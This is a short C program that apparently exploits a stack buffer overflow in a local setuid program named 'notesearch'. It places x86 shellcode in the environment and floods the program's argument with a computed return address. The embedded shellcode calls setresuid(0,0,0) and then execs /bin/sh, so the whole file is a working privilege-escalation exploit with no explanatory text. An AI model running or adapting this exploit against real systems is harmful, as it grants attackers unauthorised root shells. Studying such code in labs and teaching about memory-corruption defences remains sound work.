text: #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  
  char shellcode[]= 
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80";
  
  int main(int argc, char *argv[]) {
  	char *env[2] = {shellcode, 0};
  	unsigned int i, ret;
  
  	char *buffer = (char *) malloc(160);
  
  	ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
  	for(i=0; i < 160; i+=4)
  		*((unsigned int *)(buffer+i)) = ret;
  	
  	execle("./notesearch", "notesearch", buffer, 0, env);
  	free(buffer);
  }
  
  